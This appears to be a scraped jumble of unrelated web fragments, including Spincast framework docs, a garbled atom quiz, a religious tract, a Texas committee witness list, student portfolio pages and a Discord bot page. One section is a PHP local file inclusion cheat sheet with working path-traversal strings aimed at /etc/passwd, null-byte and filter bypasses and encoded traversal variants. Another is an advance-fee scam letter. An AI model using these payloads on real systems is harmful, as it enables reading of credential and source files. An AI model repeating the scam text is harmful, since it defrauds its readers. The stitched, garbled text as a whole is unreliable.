{% extends "../../layout.html" %} {% block sectionClasses %}plugins hasBreadCrumb plugins-spincast-locale-resolver{% endblock %} {% block meta_title %}Plugins - Spincast Locale Resolver{% endblock %} {% block meta_description %}Spincast Locale Resolver plugin helps find the Locale/Langage to use.{% endblock %} {% block scripts %} {% endblock %} {% block body %}
This plugin provides an implementation of the LocaleResolver interface, which is used to find the best locale/language to use in the code. The implementation, LocaleResolverDefault, tries to find the best Locale to use this way :
"Accept-Language"
HTTP header of the current request to determine the best Locale to use.
Locale
to use
inside a Route Handler
:
public void myHandler(AppRequestContext context) { Locale localeToUse = context.getLocaleToUse(); //... }
If you use the spincast-default
artifact and the standard Bootstrapper,
this plugin is already installed by default so you have nothing to do!
If you start from scratch, using the spincast-core
artifact, you can use the
plugin by :
1. Adding this Maven artifact to your project:
<dependency> <groupId>org.spincast</groupId> <artifactId>spincast-plugins-locale-resolver</artifactId> <version>{{spincast.spincastCurrrentVersion}}</version> </dependency>
2. Installing the provided SpincastLocaleResolverPluginModule module to your Guice context.
The class implementing the SpincastPlugin interface is SpincastLocaleResolverPlugin.


0
Who created the first model of an atom?
Dalton
Thomson
Rutherford
Bohr
Which test discovered positively charged
Gold foil and alpha partical test
Ultra microsopic telescope
By chance
Trump
Who was the person to make the first model of an atom?
Dalton
Thomson
Rutherford
Montana
Submit


Spring Data Rest - change of base path not working
I tried to change base path of Spring Data Rest in application.properties file, but for some reason it didn't work. The problem was in custom config...
Perform an update using Angular's $resource and Spring Data REST


Debounce and Throttle demo
Please trace the changes in console
Change params of decorator `@debounce_or_throttle()` as needed (in file 'app/src/app/app.component.ts' #L11)
Default params: 1000ms, true (immediate/leading), 0ms (debounce rather than throttle)


From Stephen's "..."
"..."
The foregoing extract has been made to assist the Latter-Day Saints, in
establishing the Book of Mormon as a revelation from God. It affords great joy
to have the world assist us to so much proof, that even the most credulous
cannot doubt. We are sorry that we could not afford the expense to give the
necessary cuts referred to in the original.
Let us turn our subject, however, to the Book of Mormon, where these wonderful
ruins of Palenque are among the mighty works of the Nephites:-and the mystery
is solved.
On the 72d page of the third and fourth edition of the Book of Mormon it reads
as follows: "..." And on page 280-1 is full
description of the Isthmus.
Mr. Stephens' great developments of antiquities are made bare to the eyes of
all the people by reading the history of the Nephites in the Book of Mormon.
They lived about the narrow neck of land, which now embraces Central America,
with all the cities that can be found. Read the destruction of cities at the
crucifixion of Christ, pages 459-60. Who could have dreamed that twelve years
would have developed such incontrovertible testimony to the Book of Mormon?
surely the Lord worketh and none can hinder.


Null Byte: Bypassing the added .php and other extra file-endings
It is common to add the file-extension through the php-code.
The php is added to the filename, this will mean that we will not be able to find the files we are looking for. Since the file /etc/passwd.php does not exist. However, if we add the nullbyte to the end of our attack-string the .php will not be taken into account. So we add %00 to the end of our attack-string.
http://example.com/page=../../../../../../etc/passwd%00
The technique only works in versions below php 5.3
Another way to deal with this problem is just to add a question mark to your attack-string. This way the stuff after gets interpreted as a parameter and therefore excluded. Here is an example:
http://example.com/page=../../../../../../etc/passwd?
Filters: Bypassing php-execution
So if you have an LFI you can easily read .txt-files but not .php files. That is because they get executed by the webserver, since their file-ending says that it contains code. This can be bypassed by using a build-in php-filter.
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
Here you use a php-filter to convert it all into base64. So in return you get the whole page base64 encoded. Now you only need to decode it. Save the base64-text into a file and then run:
base64 -d savefile.php
Things to try for successful exploitation
Append
%00 null byte
? ? marks a parameter in PHP
PHP filters
?page=php://filter/convert.base64-encode/resource=index attempt to get the resources as base64
?page=php://filter/read=convert.base64-encode/resource=config same, but add a filter/read
Encoded Traversal Strings
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\
Don’t do /etc/passwd.
Do /foo/../etc/bar/../passwd.


WITNESS LIST Border Affairs - Special Committee April 27, 2000-8:00A interim charges On: Ahlenius, Steve (McAllen Chamber of Commerce), McAllen Allen, Mike (McAllen Economic Development Corporation), McAllen Armstrong, Gale (El Jardin Water Supply Corporation), Brownsville Black, Kermit (A&M University, Center for Housing and Urban Development), College Station Borja, Diana (Texas Natural Resource Conservation Commission), Austin Casso, Dr. Ramiro (self and South Texas Community College), McAllen Cavazos, Eddie (ALTIVIA), Austin Collazo, Cynthia (City of Laredo), Laredo Cuellar, Tammy (Pharr Chamber of Commerce), Pharr Daniec, Adam (self), McAllen Dovalina, Larry (City of Laredo), Laredo Farris, Robert G. (Valley Transit Company & Texas Business Association), Harlingen Flores, Mayor Lonnie (City of Donna), Donna Garza, Elva (Edinburg Chamber of Commerce), Edinburg Garza, Wanda (South Texas Community College and TBIC), McAllen Guerra, Lauro G. (City of Public Health), McAllen Guerra, Rene (Hidalgo County), Edinburg Herrera, Carlos (Rio Grande Workforce Development Board), McAllen Hoyte, Don (Texas Comptroller of Public Accounts), Austin Jarvis, Glenn (Attorney), McAllen Jones, Charles Allan (Texas Agricultural Experiment Station and Extension Service), College Station Luna, David (Health and Human Services Commission), Austin Medina, Mayor Ricardo (City of Pharr), Pharr Montalvo, Mayor Leo (City of McAllen), McAllen Noell, Martha (Weslaco Chamber of Commerce), Weslaco Pedersen, Craig (Texas Water Development Board), Austin Phinney, Chuck (Texas Engineering Extension Service), College Station Preister, David (Texas Attorney General's Office), Austin Pulido, Judge Eloy (Hidalgo County), Edinburg Redwine, Augustin (Texas Comptroller of Public Accounts), Austin Rincones, Larry (Texas A&M University), Weslaco Robertson, Andrew R. (Border Water Works), McAllen Rogers, Pamela (Texas Department of Economic Development), Austin Roney, Glen (South Texas Center for Rural Public Health), McAllen Saenz, Amadeo (Texas Department of Transporation), Pharr Sandoval, Perla (Donna Chamber of Commerce), Donna Showers, Wayne A. (TAMUS/SRDH), McAllen Smith, Dr. Brian (Texas Department of Health - Region II), Harlingen Steidinger, Jimmie (Valley Farmer), Donna Storment, Scott (Office of the Secretary of State), Austin Sumaya, Ciro V. (Texas A&M University System Health Science Center), College Station Tupper, Ron (Texas A&M University), McAllen White, Jo Jo (Rio Grande Valley Intergration District Managers Association), Mercedes Wingate, Thomas (Lower Rio Grande Valley Workforce Development), McAllen Winters, Clint (Texas Comptroller of Public Accounts), Austin Registering, but not testifying: On: Darling, Jim (City of McAllen), McAllen Dominguez, Armando G. (Minority Bio - Medical Research/UTPA), Mercedes Dutton, Dr. R.J. (Texas Department of Health), Austin Franco, Tony (Texas Natural Resource Conservation Commission - Region 15), Harlingen Friedman, Jerry W. (Texas Department of Human Services), Austin Gomez, Geo Alberto (Texas Department of Economic Development), Austin Guzman, Mody (Valley Interfaith), Mercedes Hacker, Sidney (Texas Comptroller of Public Accounts), Austin Hoffman, Margaret (Texas Natural Resource Conservation Commission), Austin Olivarez, Eduardo (Rio Grande Valley Counsel on Alcohol and Drug Abuse), Edinburg Perez, Jorge D. (ALTIVIA - Perez/Freese & Nichols), McAllen Reid, T. Anthony (Perez/Freese & Nichols), McAllen Rubinstein, Carlos (Texas Natural Resource Conservation Commission), Harlingen Sanchez, Marra (Valley Interfaith), Mercedes Siglar, Harold (South Texas Health System), Laredo Written materials submitted: On: Hernandez, Sofia (University of Texas - Pan American), Edinburg


26 November 1997
Disease Outbreak Reported
About 100 new cases of cholera are now being registered daily in the capital bringing the total number reported to 827 as at 24 November 1997. No cases have been registered outside the capital. The Minister of Health and Social Affairs convened a meeting with potential donors and WHO on 22 November to seek support for the control of the outbreak.


Quick Start:
Invite the bot to your server and get it set up in only a few minutes with our Getting Started Guide
Invite to Server Join Support ServerLaunch Your Own:
Spudnik is open-source and written in Typescript using Discord.JS and Commando.
We are constantly improving and developing this bot, as you can see from ourWaffle.io board. Please feel free to make suggestions or help out!.
View on GitHub Latest Release
Contribute
Contributing To Development:
Fork. Commit. Pull Request.
Take a look at our backlog of issues:
Code, commit, and submit a PR! Make sure to look at our Code of Conduct, too.
Submitting Bugs:
Please report bugs using GitHub's Issues.
Feature Requests:
Please vote for feature requests on our FeatHub
Contributing To Costs:
We'd love your help supporting the bot!
You can donate here:
-
PayPal:
paypal.me/nebula -
Bitcoin:
1PxwKxJiDdhpX14YKjGfwsPUberN8aK5Ka
-
Ethereum:
0x02c83E52f8018612da24012B3953E7AF6b805c30


Location:
No connection
CO
2
:
No connection
- Temperature:
No connection
Duration to show:
1 minute
10 minutes
1 hour
4 hours
12 hours
1 day
All
View on GitHub


Sumarised Strain-Ellipse
The sumarised strain ellipse is part of the strain analysis with the projection method. It is an ellipse with the axes of maximum (ΣP(α)max ) and minimum (ΣP(α)min) projection lengths ( see projections length vs rotation angle, Fig.1).
Fig. 1


- My First Website
A small website with a couple of pages just to show off basic html and css styles.
- Island Getaway Website
A website meant to advertise an island resort to its visitors and show them all the features and activities.
- Mother Mother Band Website
A website meant to show off float styles with the theme surrounding my favorite band, Mother Mother
My education is fairly basic, I went to Tualatin High School and took some college before coming to Epicodus. I was in the work force for about a year in between working for a Safeway in Oregon city.  I have a small amout of experience programming just from a few projects in high school and college but I am a quick learner so I hoped that I would fit in well at Epicodus. Overall my life has been fairly straight forward and easy even though I am part of a minority, I am very thankful for the opportunities that I've been given and don't want to waste any of them.
Some of my hobbies include; photography, exploration, driving, and playing games. Every once in awhile I'll go for a long drive with a friend and usually end up driving for hours or going hundreds of miles. Getting away from what I know has been one of my favorite things for a very long time, wanderlust has been ingrained in who I am for as long as I can remember.
- HTML
- CSS
- Java Script
- C++


25 Years of history of the ATLAS Experiment
Personal notes
by
Riccardo Maria Bianchi
Text: © 2017
Riccardo Maria Bianchi


>
Sem Ⅳ
Assignments For Core JAVA
Accept integer values for a,b and which are coefficients of quadratic equation.find the solution of quadratic equation.
Accept two n x m matrices,Write a java program to find the addition of this matrices.
Accept n strings.Sort names in ascending order.
Create a package,Animals.In package Animals,Create interface animal with suitable behavior's.Implment the interface animals in the same package animal
Demonstrate java inheritance using extends keyword.
Using various string components design java application to accept student resume (design for).
Write a java list example and demonstrate java list interface
Design simple calculate GUI applications using AWP components.


Salmon Cookies
Home
Nav Item 2
Nav Item 3
Nav Item 4
Add a store location
Location name:
Minimum Cookies Sold:
Maximum Cookies Sold:
Average Cookies Per Customer:
Submit


To: President/Ceo From:Daniel Kabila Johannesburg,South Africa
INVESTMENT OFFER
Dear Sir
In appreciation of your esteemed contact received through a reliable source and the choice of your country I wish to introduce myself, I am Daniel Kabila the son of the late Democratic Republic of Congo President Laurent Desire Kabila of the blessed memory. I know this letter might come to you as a surprise but I honestly do not intend to surprise you. I write this letterin respect of my intention to invest the sum of US$28M(Twenty Eight Million United State Dollars) with you. I inherited this money from my mother. This money was got through the smuggling and sale of Diamond and Timber when my father was the head of state.
My mother though not her legal wife used her privilege position to engage in the business of Diamond and Timber since she knows that her survival will depend on how much she can get out of the privilege situation.
When my father was assassinated on 16TH Jan. 01 by one of his bodyguards Lt.Rashidi Kasereke through the conspiracy of some top army officers that wanted to topple him I escaped to South Africa because of the fear that I might be arrested by my half brother Lt. General Joseph Kabila the present head of state. Actually his mother and my mother are not in the best of relationship because of who among them will be the first lady tussle and this ultimately affected us their children.Considering the relationship between South Africa and the Democratic Republic of Congo new government, my mother advised me to leave For South Africa for security reason, while the funds were deposited with a security Company in Madrid Spain. On getting to South Africa where I have been living since then as a political refugee I am seeking for a reliable foreigner who can assist me in moving this money out for safe banking and profitable investment. Honestly I contacted you because I don't want to invest this money in South Africa due to my status here as a political Refugee. And moreover I wouldn't want to take risk because this money is all that I and my Mother is depending on because My half brother has seized all my father's assets and money and left I and my mother empty handed without knowing about this funds deposited at the Security Company in Madrid Spain so that is why I decided that investing this money abroad should be the best investment for me. I will be honored if I can be given the privilege of investing this money with your help. In view of this plight, I expect you to be trustworthy and kind enough to respond to this distress call to save my mother and I from a hopeless future.
And if you agree, I hereby agree to compensate your sincere and candid effort in this regard with 20% of the total money and annual 5% of the after tax returns on investment for the first three years. Thereafter, the term shall be varied. 5% for expenses, which may arise during the transaction, fax and phone bills inclusive.$28million US Dollars. when the money ($28million) is moved into your discrete account, you will be allowed to draw 20% your favor, while the remaining 70% will be invested meaningfully for our future if possible in your area of business and deterrents sectors of the Economy in your country which are dividends yielding. Whatever your decision is please reach me immediately through my private phone or Email, and keep this letter tight secret for the interest of my family.
Best Regards,
Daniel Kabila.
---------------------------------------------------------------- This email is powered by YEHEY!Mail - Your Online Mailman Get your free 6MB web based mail now!


PVeins
File List
Here is a list of all files with brief descriptions:
[detail level
1
2
3
]
▼
src
▼
shawn
socket.cpp
socket.h
storage.cpp
storage.h
▼
TraCIAPI
Constants.h
Exceptions.h
Network.cpp
Network.h
Simulation.cpp
Simulation.h
Subscriptions.cpp
Subscriptions.h
TraCIServer.cpp
TraCIServer.h
Triggers.cpp
Triggers.h
Utils.cpp
Utils.h
VehicleManager.cpp
VehicleManager.h
plugin.c
Generated by
1.8.13


KKSearchResults
@interface KKSearchResults : KKBOXOpenAPIObject
The object represents search results.
-
Track search results. Available when searching for tracks is specified.
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) NSArray<KKTrackInfo *> *tracks;
Swift
var tracks: [KKTrackInfo]? { get }
-
Undocumented
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) KKPagingInfo *tracksPaging
Swift
var tracksPaging: KKPagingInfo? { get }
-
Album search results. Available when searching for albums is specified.
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) NSArray<KKAlbumInfo *> *albums;
Swift
var albums: [KKAlbumInfo]? { get }
-
Undocumented
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) KKPagingInfo *albumsPaging
Swift
var albumsPaging: KKPagingInfo? { get }
-
Artists search results. Available when searching for artists is specified.
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) NSArray<KKArtistInfo *> *artists;
Swift
var artists: [KKArtistInfo]? { get }
-
Undocumented
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) KKPagingInfo *artistsPaging
Swift
var artistsPaging: KKPagingInfo? { get }
-
Playlists search results. Available when searching for playlists is specified.
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) NSArray<KKPlaylistInfo *> *playlists;
Swift
var playlists: [KKPlaylistInfo]? { get }
-
Undocumented
Declaration
Objective-C
@property (readonly, strong, nonatomic, nullable) KKPagingInfo *playlistsPaging
Swift
var playlistsPaging: KKPagingInfo? { get }
-
The overall pagination info.
Declaration
Objective-C
@property (readonly, strong, nonatomic, nonnull) KKPagingInfo *paging;
Swift
var paging: KKPagingInfo { get }


Home
Search
Plan To Visit
Visited
Add New Place
My Destination App
{% block content %} {% endblock %}


About Me
I'm an HCM and SaaS professional. I've worked in the Human Resources, Payroll, and HCM arena for over 15 years. I'm really interested in the area of web accessibility and making websites, applications, and programs accessible to everyone. California is where I grew up, but I recently spent 15 years in Oregon. I've volunteered for amazing non-profits. I'm interested gaining a foundation in development, in order to reach my goal of working and contributing to web accessibility.


In order to create an account, please fill in the form below.
Already have an account? Log in.
Provide all the necessary information.
Wish to create an account? Sign up.
Twórcy: Kozera Teresa, Matejuk Kamil, Sołdaczuk Marek


Configure
File Save Location
Cloud Sync
Select File Save Location
Select a New Location
File Share Name
Azure storage file share name
File Share Folder Name
Azure storage file share folder name
Connection String
Azure storage connection string
Save